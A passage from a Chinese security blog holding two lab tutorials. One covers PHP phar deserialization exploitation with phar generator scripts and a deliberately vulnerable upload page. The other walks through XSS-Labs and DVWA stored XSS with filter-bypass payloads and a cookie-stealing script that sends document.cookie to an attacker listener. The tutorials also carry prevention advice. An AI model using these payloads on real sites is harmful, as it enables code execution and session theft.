访问index.php生成phar文件查看目录这里就有了序列化之后的结果Tips : phar.phar文件是在本地生成后上传到目标网站的。配合phar协议和相关函数,它可以构成反序列化攻击的杀伤链。因此,前置的PHP环境配置操作不会影响后续的攻击实施。利用的关键在于:phar文件必须能上传到服务器;存在可用的魔术方法作为攻击的“跳板”;文件操作函数的参数可控,且特殊字符如./、../、phar等未被过滤。php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后发布的受影响的函数如下 :文件操作函数绕过技巧1.环境限制了phar不能出现在前面的字符里compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt php://filter/read=convert.base64-encode/resource=phar://phar.phar 2.验证文件格式$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 3、绕过上传后缀检查即使将文件后缀改为gif也不影响phar的文件最终执行执行index.php一.初步了解任务:目标1.php界面任务执行phpinfo()1、index.php代码(具有phar协议反序列化漏洞的代码)<?php class Files { var $b = 'echo ok;'; function __destruct() { eval($this->b); } } //$file = '../'.$_GET['file']; is_dir('phar://phar.phar/test.txt'); 2、test.php攻击代码<?php class Files{ var $b = 'phpinfo();'; function __destruct() { eval($this -> b); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式 $o = new Files(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); 这里我们执行我们的攻击代码,生成phar.phar文件可以查看phar.phar文件(.metadata.bin放置着序列化的恶意代码)生成成功后我们就可以利用这个具有phar协议反序列化漏洞index.php访问了,执行成功看不出效果?那么这样呢访问test.php,为空白界面查看文件对payload的obj参数进行传参执行系统命令二、进一步了解通过phar协议读取Destruct called目标文件class TestObject { public function __destruct() { echo 'Destruct called'; } } $filename = $_GET['cmd']; file_get_contents($filename); 分析:存在可控点以及文件操作函数file_get_contents,需要通过phar协议的反序列化功能,配合file_get_contents函数,执行phar.phar文件内序列化后的代码1、同理,构造phar.phar文件,将恶意代码序列化存入phar.phar的.metadata.bin文件中phar.phar文件生成成功利用phar协议,执行了具有phar协议反序列化漏洞的php文件,并成功获取到了魔术方法中的内容扩展:练习具体代码class Test { public $num = 2; public function __destruct() { if ($this->num === 1) { echo 'flag{123}'; } } } echo file_get_contents($_GET['data']); (关键在于构建恶意的代码,关注点在$num = 2 --->$num=1)再深入任务:通过phar协议执行phpinfo详细:通过upload_file.php,index.php,page.php文件模拟攻击目标,使用phar文件和phar协议执行反序列化,达到任意代码执行效果.环境准备1.www/目录(网站根目录)下放upload_file.php,index.php,page.php文件2.www/目录(网站根目录)下新建upload_file文件夹3.各个文件内容及解释<?php if (($_FILES["file"]["type"] == "image/gif") && (substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.') + 1)) == 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" . $_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; } upload_file.php:内容做了一个上传文件后缀的限制upload_file.phpindex.php 提供一个上传界面<body> <form action="/upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body> page.php 目标可控点<?php $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } file_exists($filename);//用于检查文件或目录是否存在 page.php分析1.目标存在可控点以及文件操作函数page.php分析受影响的文件操作函数表2.只有upload_file.php的对上传文件的后缀和类型进行限制,但是!我们phar文件也可以使用gif后缀!文章中有提到,可以仔细看一看。所以这题我们就可以使用phar协议进行漏洞复现开始解题1、构造上传文件phar,test.php<?php class AnyClass{ var $output = 'phpinfo();'; function __destruct() { eval($this -> output); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式 $o = new AnyClass(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); 检查我们的payload改文件名上传之前,新建一个upload_file文件夹因为这里测试的文件上传代码保存在这个文件夹中开始上传上传成功执行我们的payload漂亮!反序列化漏洞预防使用安全的序列化/反序列化库选择经过安全审计的、维护良好的序列化库。避免使用已知存在安全漏洞的库。限制反序列化的类型只允许反序列化预定义、可信的类。使用类型安全的序列化机制,如Java中的ObjectOutputStream和ObjectInputStream时,可以使用enableSubstitution方法来限制反序列化的类。数据完整性验证在序列化和反序列化过程中,使用数字签名或消息认证码(MAC)来验证数据的完整性。确保序列化数据在传输过程中未被篡改。定期审计和测试定期对应用程序进行安全审计,以识别潜在的反序列化漏洞。使用自动化工具和手动测试方法来检测和利用反序列化漏洞。原文有一定缺陷,在本文已修复,并且本文也比较通俗易懂文章参考:https://mp.weixin.qq.com/s/98SP8M-OjkvLw4lPi3ojvQ
2025年05月18日
1,934 阅读
0 评论
0 点赞
2025-05-18
Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程
漏洞原理XSS(cross site script)跨站脚本攻击,指的是攻击者往web页面插入恶意脚本代码,当用户浏览时,嵌入web页面里的脚本代码就会执行,从而达到恶意攻击用户的特殊目的,它主要分为俩种类型存储型XSS(持久型):攻击者将恶意脚本存储在目标服务器上,每当用户访问受感染的页面时,恶意脚本就会执行。反射型XSS(非持久型):攻击者诱使用户点击一个链接,该链接将恶意脚本作为输入传递给服务器,然后服务器将这个脚本反射回用户的浏览器执行。DOM型(非持久型):漏洞危害XSS攻击的常见目标是盗取用户的cookie和其他敏感信息,这些信息可以用来进行会话劫持、身份冒充等进一步攻击。如何防御?输入验证:网站开发者需要对用户输入进行严格的验证和过滤,避免将不受信任的数据直接输出到HTML中。输出编码:当将用户输入的数据输出到页面时,使用适当的编码方法(如HTML实体编码)来转义可能被浏览器解释为脚本的特殊字符。对输出内容进行编码:在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。漏洞复现Upload-Labs靶场(1-20关)第一关(URL传参)分析URL中的参数有个nanme根据XSS原理,注入恶意脚本,尝试注入payload?name=<script>alert()</script>第二关(输入框注入)尝试注入payload<script>alert()</script>分析源码,红色框上面部分被转义了,没有什么绕过方法,但是下面部分,仔细看,如果我们嵌套一个反标签符号呢?payload如下"><script>alert()</script><"第三关(事件注入)尝试使用上一关的内容进行绕过,被转义,只能想想其他办法了在JavaScript中有一个函数onfocus,用于输入框input,select,a标签获得焦点的事件这里我们给他一个函数即可,payload如下' onfocus=JavaScript:alert() '此时再点击这个input框,使其获得焦点,触发onfocus事件第四关(引号类型)使用上一关的结果进行注入,尝试失败分析源码,发现外围是双引号,双包单了,不符合JavaScript 的onfocus事件绑定切换payload为双引号即可" onfocus=JavaScript:alert() "提交payload后,需要点击input框,触发onfocus事件第五关(a标签注入)尝试输入脚本标签,被强行切换为scr_ipt使用上一关的方法" onfocus=JavaScript:alert() ",事件名称也被强行转换了这里就要用到a标签的 href属性了,尝试注入分析源码,并无异常转换,只是少了个"> 和 <",构造payload"><a href="JavaScript:alert();">xx</a><"发现页面多了个标签,此时既可以点击此标签第五关,over!第六关(大小写绕过)使用上一关结果,尝试注入"><a href="JavaScript:alert();">xx</a><"分析源码,href变成了hr_ef尝试onfocus绕过,失败尝试大小写,发现没有对大小写进行验证//第一种,脚本注入 " ><SCRIPT>alert()</SCRIPT>< " //第二种,焦点事件 " ONDOCUS=JavaScript:alert() " //a标签href属性的 "> <a HREF=JavaScript:alert()>x</a> <"over!第七关(双拼写)一样,使用上一关方法尝试,发现此时对大小写也进行了验证。不难发现,这里面进行了小写转化,将检测出来的on,script,href给删掉了,但是没有关系,我们可以利用*双拼写*来绕过。" ><sscriptcript>alert()</sscriptcript>< "第八关(Unicode编码)尝试使用大小写失败,对字符进行了强行转换,而且使用了强制小写字母尝试使用双写,也以失败告终这里我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议JavaScript:alert()利用在线工具进行Unicode编码后得到,在线Unicode编码解码javascript:alert()第九关(指定字符绕过)先看看过滤了什么" SRC data onfocus <script> <a href=javascript:alert()> 什么嘛,看源码当传入的参数不包含"http://"时,即其值为假(false),将触发if语句的执行。为了避免这种情况,我们需要在参数中添加"http://",并将其作为注释,以防止其被实际执行,这会影响到弹窗的显示。为了确保strpos函数能够返回一个数值,我们需要构造一个特定的输入(payload),使其满足函数的预期行为。比如:javascript:alert()/* <http://> */本章小结:插入指定内容(本关是http://)绕过检测,再将指定内容用注释符注释掉即可第十关(属性修改)a标签注入失败,看看网页源码,全部都在h2标签去了,看着下面还有这么多hidden的input,这谁顶得住啊。看后端源码吧它多了个get的参数,测试了好几遍,可以尝试这个参数,把后面的type="hidden"给干掉,或者给type="text"也行就可以让这个input显示出来,再让它获得焦点,触发onfocus事件。level10.php?t_sort=" onfocus="javascript:alert()" type=" level10.php?t_sort=" onfocus="javascript:alert()" type="text第十一关(Referer)老样子,使用上一关的payload,发现我们的参数被转义了检查源码使用,这个str11并没有使用htmlspecialchars()方式进行转换,那么这里就是注入点知识补充:htmlspecialchars():一个PHP函数,用于将特殊字符转换为HTML实体。这个函数通常用于防止跨站脚本(XSS)攻击。$_SERVER['HTTP_REFERER'] :链接到当前页面的前一页面的 URL 地址。(referer,推荐人)$userInput = "<script>alert('XSS');</script>"; $safeOutput = htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8'); echo $safeOutput; // 输出: <script>alert('XSS');</script>尝试注入RefererREFERER:<script>alert()</script>注入成功,但是他把我们的< 和> 这些尖括号给去掉了那么可以尝试使用onfocus事件,并且把隐藏的input给显示出来,payload如下REFERER:" onfocus="javascript:alert()" type="text" "over!第十二关(User-Agent)上一关使用的referver,这一关我们猜测使用cookie,开始尝试发送请求,果断打开源码,尝试个鬼,用的user-agent尝试使用如下payload,添加到请求头后面" onfocus="javascript:alert()" type="text" "over!第十三关(Cookie)这关想都不要想,一定是Cookie!有人不服嘛,不服顺着网线来打死我 (´。✪ω✪。`)先查看源码,然后抓包,或者说,直接抓包俩个东西似曾相识哈,复制上一关的payload,开始注入" onfocus="javascript:alert()" type="text" "鼠标点击input输入框,使其获得焦点,成功!第十四关由于本关因*iframe*调用的文件地址失效,无法进行测试。第十五关来到了第十五关,直到看到如下图片,啊??????再看看源码,没有一点头绪啊,之前用的方法全部没作用了使用burp suite抓包试试。。。。。。无奈,只能看php源码了,有一个SRC参数,关键他还使用了htmlspecialchars()累了,煞了我吧看网上是这样子说的这里有个html实体化函数在,没有删掉东西,所以不影响我们接下来的操作,我们可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如,但是可以包涵那些标签的东西比如、、、标签等等,这些标签是能需要我们手动点击弹窗的),这里我们使用img标签,可参考XSS常见的触发标签,构造payload?SRC='/level1.php?name=<img SRC=1 onmouseover=alert()>'分析源码,他这里是对特殊符号进行了转义,比如 >使用<,它并没有删掉,还是存在在html标签中的,也可以进行内含属性,根据他说的尝试使用img标签,并添加onmouseover 事件语法如下?SRC='/level1.php?name=<img SRC=1 onmouseover=alert()>'第十六关(回车%0a)通过以上关卡我总结了一些关键字,便于测试?keyword=" ' SRC DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> j 都以失败告终。查看源码这里将` ,/,script,-都替换成了 ,所以a标签也不行,但是可以使用一个标签的标签(单标签)比如,,,svg` 等。这里使用<svg>的onload事件,就是svg标签加载完成的事件,搭配上%0a即回车按钮,就比如?keyword=<svg%0aonload=alert()>渲染在网页上其实是这样的<svg%0aonload=alert()> || <svg onload=alert()>第十七关(embed)测试注入关键字?arg01=" ' SRC DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' SRC DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;发现事件名称和javascript脚本都没有被注释,尝试使用onload事件%20onload=alert()%20""非常简单,完成,这里原本是一个未知文件显示在这里的,小编我直接修改成了这张图片,实现思路是一样的第十八关(双参空格)尝试任意字符,它将俩个参数用 = 号连接起来了/level18.php?arg01=abavvvv&arg02=fdffffdf注入测试" ' SRC DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;属性正常,和上一关一样,不过需要注意是第二个参数进行传值arg02/level18.php?arg02= onmousedown=alert() //注意空格,这里使用的是鼠标点击事件第十九关难搞,pass,不要问我为什么,可能环境不对,Flash xss了解一下就行,现在许多浏览器都用不上flash插件了第二十关payload在这儿(也不起效果),你自个儿试试吧,这是原文,可能因为我的服务器是linuxhttps://blog.csdn.net/u014029795/article/details/103217680?arg01=id&arg02=xss"))}catch(e){alert(1)}//%26width=123%26height=123存储型XSS(持久性XSS)存储型XSS,又称持久性XSS,他们和反射性XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码,又有点类似于SQL注入,但不同于SQL注入。这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来,恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。持久型 XSS 的三大特点: 持久性,植入在数据库中; 危害面广,甚至可以让用户机器变成 DDoS 攻击的肉鸡; 盗取用户敏感私密信息。 如何防御? 后端在入库前应该选择不相信任何前端数据,将所有的字段统一进行转义处理; 后端在输出给前端数据统一进行转义处理; 前端在渲染页面 DOM 的时候应该选择不相信任何后端数据,任何字段都需要做转义处理。 漏洞复现--DVWALOW尝试注入JavaScript脚本<script>alert()</script>执行正常注入成功尝试分析源码,完全没有对XSS的防护,另外对SQL注入的防护也不彻底。<?php if( isset( $_POST[ 'btnSign' ] ) ) { //trim() 函数只能去除字符串的首尾字符,这里没有第二个参数,默认去除首尾空格 $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); //stripslashes() 删除字符串中的反斜杠 $message = stripslashes( $message ); //mysqli_real_escape_string() 函数转义了特殊字符(包括NUL(ASCII 0)、n、r、、'、" 和 Control-Z),然后直接代入mysqli_query()函数来执行INSERT INTO的SQL语句。 $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 要执行的sql语句 $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>这里还有一共攻击方式使用xss攻击获取cookie,payload如下<script>document.write('<img src="http://ip:9999/'+document.cookie+'"/>')</script>简单地起http协议的方法有两种:(1)用python2:python2 -m SimpleHTTPServer 8899(2)用python3:python3 -m http.server 8899注入payload成功获取cookie信息P.S. 测试的时候还发现每次点击浏览器的刷新键,都会再生成一个一条guestbook记录。这应该是low等级没有做防止表单重复提交的动作。Medium尝试使用上一关的内容进行注入。注入失败盲注尝试第一个框,而且输入框限制了文字的输入长度似乎有效果尝试修改input框的输入长度限制payload如下<a href="javascript:alert()">alert()</a>注入成功源码分析<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // strip_tags() 函数用于从字符串中去除HTML和PHP标签 // addslashes() 用于在字符串中的单引号(')、双引号(")、反斜杠()和NULL字符(�)前面添加反斜杠 $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // htmlspecialchars() 用于将特殊字符转换为HTML实体,特殊字符包含&、<、>、'、" $message = htmlspecialchars( $message ); // 将指定字符串替换为空 $name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>仔细分析源码会发现,它只将message框的函数进行了一个strip_tags字符判断,但是并没有对name框的值进行判断,此处仅仅只是进行了删除script,所以我们可以可以尝试以下俩种方式: 双写绕过,例如<sc<script>ript>alert()<sc<script>ript> 大小写绕过,把标签名称改为<sCript>,任意字符大写即可 High单标签使用上一关的payload测试失败尝试半包,发现对字符进行了转义。尝试单个标签 img,并添加点击事件onclick,即可注入成功<img src=1 onclick=alert() /><!--注意不要少了空格-->cookie在单标签的情况进行获取cookie,payload如下<img src=1 onclick="document.write('<img src="http://ip:9999/'+document.cookie+'"/>')" />http端口也没有监听到cookie信息尝试失败之后试了试svg,也不行在我百思不得其解的时候,想到了这么一个标签input,onchange事件<input onchange="alert()">成功了!那么再利用这个input标签,去获取我们的dvwa站点的cookie信息<input οnchange="document.write('<img src="http://ip:999/'+document.cookie+'"/>')">emmmm,尝试了好几遍,注入失败了,不知道为什么看源码。。。。<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>它使用 preg_replace 正则替换没思路了,有没有大佬帮帮我呀 T_TIMPOSSIBLE源码分析<?php if( isset( $_POST[ 'btnSign' ] ) ) { // checkToken() 检查token是否存在,使用csrf_token,防止CSRF攻击,还解决了表单重复提交的问题 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // 将参数俩边的空格去掉 $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // 去掉message框的反斜杠 $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 将message框中的值转化为html实体 $message = htmlspecialchars( $message ); // 去掉name中的反斜杠 $name = stripslashes( $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $name = htmlspecialchars( $name ); // 执行sql语句,并使用了PDO进行了预编译,预防SQL注入攻击 $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>原文链接:https://mp.weixin.qq.com/s/PKs1TTg8XyU-UBOZTY5Olg原文链接https://mp.weixin.qq.com/s/RJcOZuscU07BEPgK89LSrQ
2025年05月18日
1,529 阅读
0 评论
0 点赞
1
...
27
28
29
...
39